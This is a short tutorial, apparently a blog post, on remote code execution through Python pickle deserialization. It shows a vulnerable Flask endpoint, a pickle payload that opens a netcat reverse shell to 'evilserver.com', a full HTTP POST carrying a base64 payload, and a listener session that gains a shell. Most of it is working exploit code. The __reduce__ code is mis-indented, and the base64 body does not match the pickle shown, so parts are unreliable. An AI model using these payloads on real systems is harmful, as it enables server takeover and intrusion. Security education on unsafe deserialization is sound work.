Pickle Arbitrary Code Execution

2 minute read Modified:

The pickle module is not secure against erroneous or maliciously constructed data.

Pickle is a serialization/deserialization module found within the standard Python library. For those unfamiliar with serialization and deserialization; it is a way of converting objects and data structures to files or databases so that they can be reconstructed later (possibly in a different environment). This process is called serialization and deserialization, but in Python, it is called pickling and unpickling. One big caveat to pickle however, is that it does not perform any “security checking” on the data that is being unpickled, meaning that an attacker having access to the endpoint can potentially gain remote code execution by serving malicious input. It is therefore important to use pickle only when you have a trusted relationship between partners.

From the Pickle documentation:

Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Consider the following function which is responsible for handling POST request data sent to /newpost

import cPickle
import base64

...

@app.route("/newpost", methods=["POST"])
def newpost():
  picklestr = base64.urlsafe_b64decode(request.data)
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']

...

Basically what it does is take an pickled string (base64 encoded), decodes it and calls pickle.loads to unpickle it before returning a value. Knowing this, an attacker could pickle a malicious object and base64-encode it before POSTing it to the server.

Pickling objects is pretty straightforward. In the following example we import os to self, allowing us to execute commands. In this case we pop a reverse connection from /bin/sh.

import cPickle
import base64


class MMM(object):
    def __reduce__(self):
    import os
    s = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc evilserver.com 443 > /tmp/f"
    return (os.popen, (s,))

payload = cPickle.dumps(MMM())
print payload

When pickled, the output becomes.

cposix
popen
p1
(S'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc evilserver.com 443 > /tmp/f'
p2
tRp3
.

Base64 encode this output and pass it to the server.

POST /newpost HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 144

Y3Bvc2l4CnBvcGVuCnAxCihTJ3dnZXQgMTAuMTAuMTQuMTQvc2hlbGwucGwgLVAgL3RtcC87Y2htb2QgK3ggL3RtcC9zaGVsbC5wbDtwZXJsIC90bXAvc2hlbGwucGwnCnAyCnRScDMKLg==

Too easy!

 $ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.10] 52904
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(alice) gid=1002(alice) groups=1002(alice),4(adm),27(sudo)